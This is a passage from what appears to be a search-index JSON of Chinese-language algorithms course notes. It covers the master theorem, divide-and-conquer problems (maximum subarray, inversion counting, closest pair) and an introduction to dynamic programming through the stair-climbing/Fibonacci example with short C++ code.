<li>\u82e5\u5bf9\u4e8e\u67d0\u4e2a\u5e38\u6570\\(c&gt;1\\),\u6709\\(af(\\frac{n}{b})=cf(n)\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a})\\)</li> <li>\u82e5\\(af(\\frac{n}{b})=f(n)\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a}\\log n)\\)</li> <li>\u82e5\u5bf9\u4e8e\u67d0\u4e2a\u5e38\u6570\\(c&lt;1\\),\u6709\\(af(\\frac{n}{b})=cf(n)\\),\u5219\\(T(n)=\\Theta(f(n))\\)</li> </ul> <p>\u8fd9\u5b9e\u9645\u4e0a\u662f\u5f62\u5f0f1\u7684\u63a8\u8bba\uff0c\u53ef\u4ee5\u76f4\u89c2\u4e0a\u6765\u7406\u89e3\u4e00\u4e0b</p> <ul> <li>\u60c5\u51b51\u8bf4\u660e\u6bcf\u6b21\u5206\u6cbb\u5bf9\u4e8e\\(f(n)\\)\u7684\u5f71\u54cd\u5f88\u5927\uff0c\u5c06\u5b83\u5206\u5f97\u5f88\u5c0f\uff0c\u6240\u4ee5\u590d\u6742\u5ea6\u7531\u524d\u534a\u90e8\u5206\u63a7\u5236</li> <li>\u60c5\u51b52\u8bf4\u660e\u6bcf\u6b21\u5206\u6cbb\u5bf9\u4e8e\\(f(n)\\)\u7684\u5f71\u54cd\u9002\u4e2d\uff0c\u5c06\u5b83\u5206\u5f97\u9002\u4e2d\uff0c\u6240\u4ee5\u590d\u6742\u5ea6\u662f\u5171\u540c\u5f71\u54cd</li> <li>\u60c5\u51b53\u8bf4\u660e\u6bcf\u6b21\u5206\u6cbb\u5bf9\u4e8e\\(f(n)\\)\u7684\u5f71\u54cd\u5f88\u5c0f\uff0c\u5c06\u5b83\u5206\u5f97\u5f88\u5927\uff0c\u6240\u4ee5\u590d\u6742\u5ea6\u7531\u540e\u534a\u90e8\u5206\u63a7\u5236</li> </ul> <p>\u5bf9\u4e8e\u9012\u63a8\u5f0f</p> \\[     T(n)=aT(n/b)+\\Theta(n^k \\log^p n) \\ a \\geqslant 1,b&gt;1,k \\geqslant 0,p \\geqslant 0 \\] <p>\u6709\u5982\u4e0b\u7ed3\u8bba\uff1a</p> <ul> <li>\u82e5 \\(\\log_b a &gt; k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^{\\log_b a})\\)</li> <li>\u82e5 \\(\\log_b a = k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^k \\log^{p+1} n)\\)</li> <li>\u82e5 \\(\\log_b a &lt; k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^k \\log^p n)\\)</li> </ul> <p>\u8fd9\u91cc\u7684\u4e3b\u8981\u53d8\u5316\u662f\u7b2c\u4e8c\u79cd\u60c5\u51b5\uff0c\u5b83\u76f8\u6bd4\u4e8e\u539f\u5148\u7684\u5f62\u5f0f\u66f4\u52a0\u5f3a\u5927\uff0c\u5982\u679c\u6309\u7167\u539f\u6765\u7684\u5f62\u5f0f\u5c31\u662f\\(n^k \\log n\\),\u8fd9\u91cc\u5728\u5bf9\u6570\u7684\u57fa\u7840\u4e0a\u589e\u5f3a\u4e86\uff1b</p> <ul> <li>\u82e5 \\(\\log_b a &gt; k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^{\\log_b a})\\)</li> <li>\u82e5 \\(\\log_b a = k\\)\uff0c\u5219 <ul> <li>\\(p&gt;-1\\),\\(T(n) = \\Theta(n^k \\log^{p+1} n)\\)</li> <li>\\(p=-1\\),\\(T(n) = \\Theta(n^k \\log \\log n)\\)</li> <li>\\(p&lt;-1\\),\\(T(n) = \\Theta(n^k)\\)</li> </ul> </li> <li>\u82e5 \\(\\log_b a &lt; k\\)\uff0c\u5219<ul> <li>\\(p \\geqslant 0\\),\\(T(n) = \\Theta(n^k \\log^p n)\\)</li> <li>\\(p&lt;0\\),\\(T(n) = \\Theta(n^k)\\)</li> </ul> </li> </ul>"},{"location":"NOTE/ADS/wk6/#_6","title":"\u5206\u6cbb\u6cd5\u7684\u5e94\u7528","text":"<p>\u56de\u5fc6\u68a6\u5f00\u59cb\u7684\u5730\u65b9</p>"},{"location":"NOTE/ADS/wk6/#_7","title":"\u6700\u5927\u5b50\u5e8f\u5217\u95ee\u9898","text":"<p>\u6700\u5927\u5b50\u5e8f\u5217\u95ee\u9898\u662f\u4e00\u4e2a\u7ecf\u5178\u7684\u5206\u6cbb\u7b97\u6cd5\u95ee\u9898\uff0c\u5176\u76ee\u6807\u662f\u627e\u5230\u4e00\u4e2a\u5e8f\u5217\u4e2d\u7684\u4e00\u4e2a\u8fde\u7eed\u5b50\u5e8f\u5217\uff0c\u4f7f\u5f97\u8be5\u5b50\u5e8f\u5217\u7684\u548c\u6700\u5927\u3002\u5373\u5bfb\u627e\u5b50\u6570\u7ec4 <code>A[low,high]</code> \u7684\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff0c\u6211\u4eec\u9996\u5148\u627e\u5230\u6570\u7ec4\u4e2d\u592e\u4f4d\u7f6e <code>mid</code>\uff0c\u8fd9\u4e2a\u95ee\u9898\u53ef\u4ee5\u901a\u8fc7\u5206\u6cbb\u7b97\u6cd5\u6765\u89e3\u51b3\uff0c\u5176\u57fa\u672c\u601d\u8def\u662f\u5c06\u95ee\u9898\u5206\u89e3\u6210\u4e09\u4e2a\u5b50\u95ee\u9898,\u5047\u8bbe\u76ee\u6807\u5b50\u5e8f\u5217\u662f\\(A[i,j]\\)\uff1a</p> <ol> <li>\u6700\u5927\u5b50\u5e8f\u5217\u548c\u5b8c\u5168\u5728 <code>A[low,high]</code>\u4e2d\uff0c\u5373 \\(low \\leqslant i \\leqslant j \\leqslant mid\\)\uff1b</li> <li>\u6700\u5927\u5b50\u5e8f\u5217\u548c\u5b8c\u5168\u5728 <code>A[mid+1,high]</code> \u4e2d\uff0c\u5373 \\(mid+1 \\leqslant i \\leqslant j \\leqslant high\\)\uff1b</li> <li> <p>\u6700\u5927\u5b50\u5e8f\u5217\u548c\u8de8\u8d8a <code>mid</code> \u4e24\u8fb9\uff0c\u5373 \\(low \\leqslant i \\leqslant mid &lt; j \\leqslant high\\)\u3002</p> </li> <li> <p>\u5206\u6cbb\uff1a\u5c06\u539f\u6570\u7ec4\u5e73\u5206\u4e3a\u4e24\u534a <code>A[low, mid]</code> \u548c <code>A[mid + 1, high]</code>\uff0c\u7136\u540e\u5206\u522b\u5bf9\u8fd9\u4e24\u534a\u6c42\u89e3\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff1b\u4e00\u5b9a\u4e0d\u80fd\u5fd8\u8bb0\u9012\u5f52\u6709 base case\uff0c\u8fd9\u91cc\u7684 base case \u5c31\u662f\u6570\u7ec4\u53ea\u5269\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u90a3\u5c31\u4ec0\u4e48\u90fd\u4e0d\u7528\u64cd\u4f5c\uff0c\u76f4\u63a5\u8fd4\u56de\u8fdb\u5165\u4e0b\u4e00\u6b65\u5408\u5e76\u9636\u6bb5\uff1b</p> </li> <li> <p>\u5408\u5e76\uff1a\u9996\u5148\u6211\u4eec\u8981\u8ba1\u7b97\u8de8\u8d8a <code>mid</code> \u4e24\u8fb9\u7684\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff0c\u7136\u540e\u548c\u5de6\u53f3\u4e24\u534a\u7684\u7ed3\u679c\u6bd4\u8f83\uff0c\u9009\u62e9\u6700\u5927\u7684\u4f5c\u4e3a\u6700\u7ec8\u7ed3\u679c\u3002\u5173\u952e\u5728\u4e8e\u8ba1\u7b97\u8de8\u8d8a <code>mid</code> \u4e24\u8fb9\u7684\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff0c\u8fd9\u5176\u5b9e\u662f\u7ebf\u6027\u7684\uff0c\u4e3a\u4ec0\u4e48\uff1f\u56e0\u4e3a\u8fd9\u91cc\u7684\u5b50\u5e8f\u5217\u90fd\u5fc5\u987b\u8de8\u8d8a <code>mid</code>\uff0c\u6240\u4ee5\u6700\u5927\u5b50\u5e8f\u5217\u548c\u5c31\u662f\u6700\u5927\u7684 <code>A[i, mid]</code> \u52a0\u4e0a\u6700\u5927\u7684 <code>A[mid + 1, j]</code>\uff0c\u8fd9\u4e2a\u53ea\u9700\u8981\u5bf9 <code>i</code>, <code>j</code> \u505a\u904d\u5386\u5c31\u884c\uff0c\u6240\u4ee5\u662f\u7ebf\u6027\u7684\u3002</p> </li> </ol> <p>\u90a3\u4e48\u6211\u4eec\u5f97\u5230\u7684\u9012\u63a8\u516c\u5f0f\u5c31\u662f\u5f88\u7b80\u5355\u7684 \\(T(n) = 2T(n/2) + O(n)\\)\uff0c\u6240\u4ee5\u5c31\u662f \\(O(n \\log n)\\) \u7684\u590d\u6742\u5ea6\u3002</p> <p>exstra</p> <p>\u5f52\u5e76\u6392\u5e8f\u4e0e\u5feb\u901f\u6392\u5e8f\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u90fd\u662f\\(O(n \\log n)\\)\uff1b \u6ce8\u610f\u5feb\u901f\u6392\u5e8f\u6700\u574f\u662f\\(O(n^2)\\)\uff0c \u4f46\u662f\u5176\u671f\u671b\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(n \\log n)\\)</p>"},{"location":"NOTE/ADS/wk6/#_8","title":"\u9006\u5e8f\u5bf9\u8ba1\u6570","text":"\u9006\u5e8f\u6570 <p>\u9006\u5e8f\u5bf9\u8ba1\u6570\u95ee\u9898\u662f\u8ba1\u7b97\u4e00\u4e2a\u6570\u7ec4\u4e2d\u9006\u5e8f\u5bf9\u7684\u6570\u91cf\u7684\u7ecf\u5178\u7b97\u6cd5\u95ee\u9898\u3002\u5728\u4e00\u4e2a\u6570\u7ec4\u4e2d\uff0c\u9006\u5e8f\u5bf9\u6307\u7684\u662f\u6570\u7ec4\u4e2d\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6\u7684\u4e00\u5bf9\u5143\u7d20 \\((i, j)\\)\uff1a</p> <ul> <li>\u7d22\u5f15\u6761\u4ef6\uff1a\\(i &lt; j\\)</li> <li>\u5927\u5c0f\u5173\u7cfb\uff1a\\(A[i] &gt; A[j]\\)</li> </ul> <p>\u6362\u53e5\u8bdd\u8bf4\uff0c\u9006\u5e8f\u5bf9\u662f\u6570\u7ec4\u4e2d\u4e00\u4e2a\u8f83\u5927\u7684\u6570\u51fa\u73b0\u5728\u4e00\u4e2a\u8f83\u5c0f\u7684\u6570\u4e4b\u524d\u7684\u60c5\u51b5\u3002</p> <p>\u5206\u6cbb\u6cd5\u5c06\u95ee\u9898\u5206\u4e3a\u4e09\u7c7b</p> <ul> <li>\u5168\u5728\u5de6\u534a\u8fb9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570</li> <li>\u5168\u5728\u53f3\u534a\u8fb9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570</li> <li>\u8de8\u8d8a\u4e2d\u70b9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570</li> </ul> <p>\u4f46\u662f\u8de8\u8d8a\u4e2d\u70b9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570\u770b\u8d77\u6765\u4f3c\u4e4e\u6709\\(\\frac{n}{2} * \\frac{n}{2}\\)\u79cd\uff0c\u6240\u4ee5\u6211\u4eec\u6bcf\u6b21\u7b97\u5b8c\u5de6\u53f3\u4e24\u8fb9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570\u540e\uff0c\u8fdb\u884c\u4e00\u6b21merge sort\uff0c\u90a3\u4e48\u5408\u5e76\u8fc7\u7a0b\u4e2d\u8ba1\u7b97\u8de8\u8d8a\u4e2d\u70b9\u7684\u9006\u5e8f\u5bf9\u4e2a\u6570\u5c31\u53ea\u9700\u8981\u7ebf\u6027\u65f6\u95f4\u4e86\uff1a\u5728\u5408\u5e76\u4e24\u4e2a\u5df2\u6392\u5e8f\u7684\u5b50\u5e8f\u5217\u7684\u8fc7\u7a0b\u4e2d\u6211\u4eec\u5c31\u5f88\u5bb9\u6613\u5b8c\u6210\u9006\u5e8f\u5bf9\u7684\u8ba1\u7b97</p>"},{"location":"NOTE/ADS/wk6/#_9","title":"\u6700\u8fd1\u70b9\u5bf9\u95ee\u9898","text":"<p>\u8fd9\u662f\u76f8\u5f53\u7ecf\u5178\u7684\u5e94\u7528\u3002\u540c\u6837\u5206\u4e3a\u4e09\u4e2a\u90e8\u5206\uff0c\u5de6\u6700\u8fd1\u70b9\u5bf9\u3001\u53f3\u6700\u8fd1\u70b9\u5bf9\u548c\u5206\u79bb\u6700\u8fd1\u70b9\u5bf9\uff0c\u90a3\u4e48\u5173\u952e\u5c31\u5728\u4e8e\u7ebf\u6027\u5730\u627e\u5230\u5206\u79bb\u6700\u8fd1\u70b9\u5bf9\u3002</p> <p>\u6211\u4eec\u8bb0 \\(x\\) \u5750\u6807\u7684\u4e2d\u70b9\u7684\u6a2a\u5750\u6807\u4e3a \\(\\overline{x}\\)\uff0c\u8bb0\u4f5c\u5de6\u53f3\u4e24\u534a\u4e2d\u6700\u8fd1\u70b9\u5bf9\u8ddd\u79bb\u4e3a \\(\\delta\\)\u3002\u56e0\u4e3a\u6211\u4eec\u8981\u627e\u5206\u79bb\u6700\u8fd1\u70b9\u5bf9\uff0c\u4e8e\u662f\u53ea\u8981\u8003\u8651 \\([\\overline{x}-\\delta, \\overline{x}+\\delta]\\) \u4e4b\u95f4\u7684\u6240\u6709\u70b9 $ q_1, q_2, \\cdots, q_n $\uff0c\u5b83\u4eec\u6309 \\(y\\) \u5750\u6807\u4ece\u5c0f\u5230\u5927\u6392\u5e8f\u3002\u8bbe \\(q_i\\) \u7684  \\(y\\) \u5750\u6807\u4e3a \\(y_i\\)\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u4ece\u4e0b\u5f80\u4e0a\u68c0\u67e5\u5750\u6807\u5728 \\([\\overline{x}-\\delta, \\overline{x}+\\delta]\\) \u548c \\([y_i, y_i+\\delta]\\) \u4e4b\u95f4\u7684\u957f\u65b9\u5f62\u533a\u57df\u4e2d\u7684\u6240\u6709\u70b9\uff0c\u8003\u5bdf\u8fd9\u4e9b\u70b9\u662f\u5426\u548c \\(q_i\\) \u6709\u66f4\u8fd1\u7684\u70b9\u5bf9\u5373\u53ef\u3002</p> <p>\u6211\u4eec\u5c06\u8fd9\u4e2a\u957f\u65b9\u5f62\u533a\u57df\u5206\u4e3a\u5e73\u5747\u5206\u5272\u6210 8 \u5757\uff0c\u5219\u6bcf\u5757\u5185\u6700\u591a\u51fa\u73b0\u4e00\u4e2a\u70b9\uff08\u5426\u5219\u6bcf\u5757\u5185\u4e24\u70b9\u4e4b\u95f4\u7684\u8ddd\u79bb\u5c31\u4e0d\u8d85\u8fc7 \\(\\dfrac{\\sqrt{2}}{2} \\delta\\) \u4e86\uff0c\u8fd9\u5c31\u4e0e\u5de6\u53f3\u4e24\u534a\u4e2d\u6700\u8fd1\u70b9\u5bf9\u8ddd\u79bb\u4e3a \\(\\delta\\) \u76f8\u77db\u76fe\uff09\uff0c\u4e8e\u662f\u5bf9\u4e8e\u6bcf\u4e2a \\(q_i\\)\uff0c\u6211\u4eec\u81f3\u591a\u53ea\u9700\u8981\u5411\u4e0a\u627e 7 \u4e2a\u70b9\u5373\u53ef\u3002</p> <p>\u5b9e\u9645\u4e0a\u6211\u4eec\u8fd8\u53ef\u4ee5\u628a\u8fd9 7 \u4e2a\u70b9\u8fdb\u4e00\u6b65\u51cf\u5c11\uff1a</p> <ul> <li> <p>\u4f8b\u5982\u5f53\u524d\u6211\u4eec\u5faa\u73af\u5230\u4e86\u4e00\u4e2a\u5728\u5de6\u534a\u8fb9\u7684\u70b9\uff0c\u90a3\u4e48\u6574\u4e2a\u5de6\u534a\u8fb9\u7684\u70b9\u90fd\u4e0d\u9700\u8981\u8003\u8651\uff0c\u53ea\u9700\u8981\u8003\u8651\u53f3\u534a\u8fb9 4 \u4e2a\u683c\u5b50\u6700\u591a\u7684 4 \u4e2a\u70b9\u3002\u4f46\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u79cd\u60c5\u51b5\u4f60\u9700\u8981\u63d0\u524d\u7ef4\u62a4\u597d\u5de6\u53f3\u4e24\u8fb9\u5404\u81ea\u7684\u6309 y \u5750\u6807\u6392\u5e8f\u7684\u70b9\u5217\uff0c\u7136\u540e\u8981\u7ef4\u62a4 y \u5750\u6807\u7d27\u8ddf\u7740\u5de6\u534a\u8fb9\u7684\u6bcf\u4e2a\u70b9\u7684\u56db\u4e2a\u53f3\u534a\u8fb9\u7684\u70b9\uff0c\u5bf9\u79f0\u7684\u53f3\u534a\u8fb9\u4e5f\u8981\u7ef4\u62a4\uff0c\u8fd9\u5e76\u4e0d\u590d\u6742\u3002</p> </li> <li> <p>\u518d\u66f4\u8fdb\u4e00\u6b65\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u5c06 4 \u8fd9\u4e2a\u6570\u5b57\u964d\u4e3a 3\u3002\u56e0\u4e3a\u6211\u4eec\u6bcf\u5728\u53f3\u534a\u90e8\u5206\u653e\u4e00\u4e2a\u70b9(\\(q_i\\) \u5728\u53f3\u534a\u90e8\u5206)\uff0c\u90a3\u4e48\u5728\u53f3\u534a\u90e8\u5206\uff0c\u4ee5\u8fd9\u4e2a\u70b9\u4e3a\u5706\u5fc3\u534a\u5f84\u4e3a \\(\\delta\\) \u7684\u5706\u5185\u4e0d\u53ef\u80fd\u518d\u6709\u53e6\u4e00\u4e2a\u70b9\uff0c\u4e8b\u5b9e\u4e0a\u6700\u5dee\u7684\u60c5\u51b5\u5c31\u662f\u6709\u56db\u4e2a\u8fd9\u6837\u7684\u5706\u5fc3\uff0c\u6b64\u65f6\u8fd9\u56db\u4e2a\u5706\u5fc3\u5728\u5de6\u534a\u533a\u57df\u7684\u56db\u4e2a\u89d2\u4e0a\uff08\\((0,0)\\), \\((0, \\delta)\\), \\((\\delta, 0)\\), \\((\\delta, \\delta)\\)\uff09\uff0c\u8fd9\u65f6\u5019\u6beb\u65e0\u7591\u95ee\u7684\u5c31\u662f \\((0, 0)\\) \u5904\u7684\u70b9\u6700\u597d\u3002\u800c\u5176\u5b83\u60c5\u51b5\u4e0b\u4e0d\u53ef\u80fd\u6709\u56db\u4e2a\u5706\u5fc3\uff0c\u53ea\u80fd\u6709\u4e09\u4e2a\uff0c\u90a3\u4e48\u5728\u6700\u591a\u4e09\u4e2a\u5706\u5fc3\u4e2d\u5bfb\u627e\u6700\u8fd1\u70b9\u5bf9\uff0c\u4e5f\u5c31\u53ea\u9700\u8981\u904d\u5386 3 \u4e2a\u70b9\u5c31\u8db3\u591f\u4e86</p> </li> </ul>"},{"location":"NOTE/ADS/wk7/","title":"Dynamic Programming","text":"<p> \u7ea6 2994 \u4e2a\u5b57  58 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p> <p>\u52a8\u6001\u89c4\u5212\u7684\u7531\u6765</p> <p>\u52a8\u6001\u89c4\u5212\uff08Dynamic Programming\uff0cDP\uff09\u662f\u4e00\u79cd\u89e3\u51b3\u6700\u4f18\u5316\u95ee\u9898\u7684\u65b9\u6cd5\uff0c\u5b83\u901a\u8fc7\u5c06\u590d\u6742\u95ee\u9898\u5206\u89e3\u4e3a\u66f4\u7b80\u5355\u7684\u5b50\u95ee\u9898\u6765\u6c42\u89e3\u3002\u8fd9\u79cd\u65b9\u6cd5\u6700\u65e9\u7531\u7406\u67e5\u5fb7\u00b7\u8d1d\u5c14\u66fc\uff08Richard Bellman\uff09\u57281950\u5e74\u4ee3\u63d0\u51fa\uff0c\u6700\u521d\u662f\u7528\u4e8e\u89e3\u51b3\u51b3\u7b56\u8fc7\u7a0b\u4e2d\u7684\u95ee\u9898\uff0c\u5c24\u5176\u662f\u5728\u63a7\u5236\u8bba\u548c\u8fd0\u7b79\u5b66\u9886\u57df\u3002</p> <p>\u52a8\u6001\u89c4\u5212\u7684\u57fa\u672c\u601d\u60f3\u662f\u5229\u7528\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\u6784\u9020\u51fa\u539f\u95ee\u9898\u7684\u6700\u4f18\u89e3\u3002\u5b83\u7684\u7531\u6765\u53ef\u4ee5\u8ffd\u6eaf\u5230\u4ee5\u4e0b\u51e0\u4e2a\u5173\u952e\u70b9\uff1a</p> <ul> <li> <p>\u91cd\u53e0\u5b50\u95ee\u9898\uff1a\u8bb8\u591a\u6700\u4f18\u5316\u95ee\u9898\u53ef\u4ee5\u5206\u89e3\u6210\u91cd\u53e0\u7684\u5b50\u95ee\u9898\uff0c\u52a8\u6001\u89c4\u5212\u901a\u8fc7\u8bb0\u5f55\u5b50\u95ee\u9898\u7684\u89e3\u6765\u907f\u514d\u91cd\u590d\u8ba1\u7b97\u3002</p> </li> <li> <p>\u6700\u4f18\u5b50\u7ed3\u6784\uff1a\u5982\u679c\u4e00\u4e2a\u95ee\u9898\u7684\u6700\u4f18\u89e3\u5305\u542b\u5176\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff0c\u5219\u53ef\u4ee5\u901a\u8fc7\u89e3\u51b3\u5b50\u95ee\u9898\u6765\u6784\u9020\u539f\u95ee\u9898\u7684\u89e3\u3002</p> </li> <li> <p>\u8d1d\u5c14\u66fc\u65b9\u7a0b\uff1a\u8d1d\u5c14\u66fc\u63d0\u51fa\u4e86\u4e00\u4e2a\u9012\u5f52\u5173\u7cfb\uff08\u5373\u8d1d\u5c14\u66fc\u65b9\u7a0b\uff09\uff0c\u63cf\u8ff0\u4e86\u5982\u4f55\u901a\u8fc7\u5b50\u95ee\u9898\u7684\u89e3\u6765\u5f97\u5230\u539f\u95ee\u9898\u7684\u89e3\u3002</p> </li> </ul> <p>\u52a8\u6001\u89c4\u5212\u7684\u5e94\u7528\u5e7f\u6cdb\uff0c\u5305\u62ec\u80cc\u5305\u95ee\u9898\u3001\u6700\u77ed\u8def\u5f84\u95ee\u9898\u3001\u6700\u957f\u516c\u5171\u5b50\u5e8f\u5217\u7b49\u591a\u4e2a\u9886\u57df\uff0c\u662f\u7b97\u6cd5\u8bbe\u8ba1\u4e2d\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\u3002</p>"},{"location":"NOTE/ADS/wk7/#-","title":"\u5f15\u5165\u52a8\u6001\u89c4\u5212-\u722c\u697c\u68af\u95ee\u9898","text":"<p>Question</p> <p>\u5047\u8bbe\u4f60\u6b63\u5728\u722c\u697c\u68af\u3002\u9700\u8981\u722c n \u9636\u4f60\u624d\u80fd\u5230\u8fbe\u697c\u9876\u3002\u6bcf\u6b21\u4f60\u53ef\u4ee5\u722c 1 \u6216 2 \u4e2a\u53f0\u9636\uff0c\u6c42\u6709\u591a\u5c11\u79cd\u4e0d\u540c\u7684\u65b9\u6cd5\u722c\u5230\u697c\u9876\uff0c\u6211\u4eec\u8981\u6c42\u7b97\u6cd5\u5728\u7ebf\u6027\u65f6\u95f4\u5185\u89e3\u51b3\u8fd9\u4e00\u95ee\u9898\u3002</p> <p>\u5982\u679c\u6211\u4eec\u8981\u4f7f\u7528\u5e38\u89c4\u7684\u8ba1\u6570\u65b9\u6cd5\u6216\u8005\u5206\u6cbb\u6cd5\u6765\u8ba1\u7b97\uff0c\u5176\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u8fbe\u4e0d\u5230\u7ebf\u6027\u65f6\u95f4\u7684\u8981\u6c42\u7684\uff1b\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u7684\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002</p> <p>\u8003\u8651\u6700\u540e\u4e00\u6b65\uff0c\u5f53\u6211\u4eec\u5373\u5c06\u5230\u8fbe\u697c\u9876\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u722c 1 \u4e2a\u53f0\u9636\u6216\u8005 2 \u4e2a\u53f0\u9636\u3002\u5982\u679c\u6211\u4eec\u9009\u62e9\u722c 1 \u4e2a\u53f0\u9636\uff0c\u90a3\u4e48\u524d\u9762\u7684 n-1 \u4e2a\u53f0\u9636\u6709\u591a\u5c11\u79cd\u722c\u6cd5\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86\uff1b\u5982\u679c\u6211\u4eec\u9009\u62e9\u722c 2 \u4e2a\u53f0\u9636\uff0c\u90a3\u4e48\u524d\u9762\u7684 n-2 \u4e2a\u53f0\u9636\u6709\u591a\u5c11\u79cd\u722c\u6cd5\u6211\u4eec\u4e5f\u77e5\u9053\u4e86\u3002\u56e0\u6b64\uff0c\u722c\u5230\u7b2c n \u9636\u7684\u65b9\u6cd5\u6570\u5c31\u662f\u722c\u5230\u7b2c n-1 \u9636\u548c\u7b2c n-2 \u9636\u7684\u65b9\u6cd5\u6570\u4e4b\u548c\u3002\u5373\uff1a</p> \\[    f(n) = f(n-1) + f(n-2) \\] <p>\u8fd9\u5c31\u662f\u6590\u6ce2\u90a3\u5951\u6570\uff0c\u7136\u800c\u867d\u7136\u8fd9\u4e2a\u5f62\u5f0f\u662f\u5982\u6b64\u4f18\u7f8e\uff0c\u4ee3\u7801\u4e5f\u662f\u5982\u6b64\u7b80\u5355</p> <pre><code>int fib(int n) {\n    if (n &lt;= 1) return 1; \n    return fib(n-1) + fib(n-2);\n}\n</code></pre> <p>\u4f46\u662f\u6bcf\u4e00\u6b21\u8ba1\u7b97\u6211\u4eec\u90fd\u9700\u8981\u8ba1\u7b97\u5230\u6700\u6df1\u518d\u8fd4\u56de\uff0c\u8fd9\u6837\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u7206\u70b8\u7684\uff1b\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u7684\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e2a\u6570\u7ec4\u6765\u4fdd\u5b58\u6bcf\u4e00\u6b65\u7684\u7ed3\u679c\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728 O(n) \u7684\u65f6\u95f4\u5185\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002</p> <pre><code>int fib(int n) {\n    if (n &lt;= 1) return 1;\n    vector&lt;int&gt; dp(n+1, 0);\n    dp[0] = dp[1] = 1;\n    for (int i = 2; i &lt;= n; i++) {\n        dp[i] = dp[i-1] + dp[i-2];\n    }\n    return dp[n];\n}\n</code></pre> <p>\u8fd9\u4e00\u91cd\u8981\u7684\u601d\u60f3\u6211\u4eec\u79f0\u5176\u4e3a \u201c\u8bb0\u5fc6\u5316\u201d\uff0c\u975e\u5e38\u5f62\u8c61\uff0c\u56e0\u4e3a\u6211\u4eec\u5c31\u662f\u5229\u7528\u989d\u5916\u7684\u7a7a\u95f4\u8bb0\u4f4f\u66fe\u7ecf\u7b97\u8fc7\u7684\u7ed3\u679c\uff0c\u4ece\u800c\u907f\u514d\u4e86\u91cd\u590d\u8ba1\u7b97\u7684\u95ee\u9898\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u539f\u5148\u9012\u5f52\u7684\u65b9\u6cd5\u5b9e\u9645\u4e0a\u662f\u4e00\u79cd \u201c\u81ea\u9876\u5411\u4e0b\u201d \u7684\u65b9\u6cd5\uff0c\u5b83\u7b26\u5408\u6211\u4eec\u7684\u76f4\u63a5\u601d\u8def\uff1a\u6700\u540e\u957f\u5ea6\u4e3a n \u7684\u95ee\u9898\u9700\u8981\u957f\u5ea6\u4e3a n \u2212 1 \u548c n \u2212 2 \u7684\u6c42\u548c\uff0c\u90a3\u6211\u4eec\u7684\u4ee3\u7801\u76f4\u63a5\u5229\u7528\u9012\u5f52\u8ba1\u7b97\u9012\u5f52\u5f0f\u663e\u5f97\u975e\u5e38\u81ea\u7136\u3002\u4f46\u662f\u91cd\u590d\u7684\u8ba1\u7b97\u8feb\u4f7f\u6211\u4eec\u653e\u5f03\u8fd9\u79cd\u81ea\u7136\u7684\u60f3\u6cd5\uff0c\u8f6c\u800c\u91c7\u7528\u81ea\u5e95\u5411\u4e0a\u4ece\u5c0f\u95ee\u9898\u9010\u6b65\u8fed\u4ee3\u6784\u5efa\u539f\u95ee\u9898\u7684\u89e3\u6cd5\u3002</p> <p>Summary</p> <p>\u5728\u722c\u697c\u68af\u8fd9\u4e00\u7b80\u5355\u800c\u7ecf\u5178\u7684\u95ee\u9898\u4e2d\uff0c\u901a\u8fc7\u5bf9\u6700\u540e\u4e00\u6b65\u4e24\u79cd\u60c5\u51b5\u7684\u5206\u7c7b\uff0c\u5c06\u6574\u4e2a\u95ee\u9898\u7684\u89e3\u8f6c\u5316\u4e3a\u4e86\u4e24\u4e2a\u5b50\u95ee\u9898\u89e3\u7684\u6c42\u548c\uff0c\u5373\u6709\u4e00\u4e2a\u4ece\u5b50\u95ee\u9898\u7684\u89e3\u5230\u539f\u95ee\u9898\u7684\u89e3\u7684\u9012\u63a8\u516c\u5f0f\uff0c\u7136\u540e\u6211\u4eec\u901a\u8fc7\u8bb0\u5fc6\u5316\u7684\u65b9\u5f0f\u6c42\u89e3\u9012\u63a8\u5f0f\u3002\u6211\u4eec\u5c06\u4e0a\u8ff0\u7279\u70b9\u62bd\u8c61\u51fa\u6765\uff1a 